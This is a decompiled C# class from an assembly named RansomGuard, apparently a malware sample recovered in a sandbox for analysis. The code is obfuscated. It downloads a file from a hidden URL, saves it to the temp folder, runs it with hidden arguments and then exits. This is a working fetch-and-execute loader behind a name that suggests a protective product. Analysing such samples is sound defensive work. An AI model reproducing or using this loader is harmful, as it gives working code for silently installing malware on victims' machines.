// Decompiled with JetBrains decompiler
// Type: A.i
// Assembly: RansomGuard, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 37652FF6-4FF5-4E76-944D-E6CA5073036F
// Assembly location: RansomGuard.dll inside C:\Users\WDAGUtilityAccount\Desktop\RansomGuard.exe)

using \u003CPrivateImplementationDetails\u003E\u007B29195D03\u002D3E0A\u002D468D\u002DA5D2\u002D1BA9D027086D\u007D;
using System;
using System.Diagnostics;
using System.IO;
using System.Net.Http;

#nullable enable
namespace A;

internal static class i
{
  private static readonly string bT = F5D1BF18\u002D5FBA\u002D43C1\u002DA4E0\u002D6D909C027158.eE();

  internal static bool A()
  {
    try
    {
      string str = Path.Combine(Path.GetTempPath(), F5D1BF18\u002D5FBA\u002D43C1\u002DA4E0\u002D6D909C027158.eD());
      using (HttpClient httpClient = J.A(J.A.eD))
      {
        byte[] result = httpClient.GetByteArrayAsync(i.bT).Result;
        File.WriteAllBytes(str, result);
        Process.Start(new ProcessStartInfo()
        {
          FileName = str,
          Arguments = F5D1BF18\u002D5FBA\u002D43C1\u002DA4E0\u002D6D909C027158.ed(),
          UseShellExecute = true
        });
        Environment.Exit(0);
        return true;
      }
    }
    catch
    {
      return false;
    }
  }
}
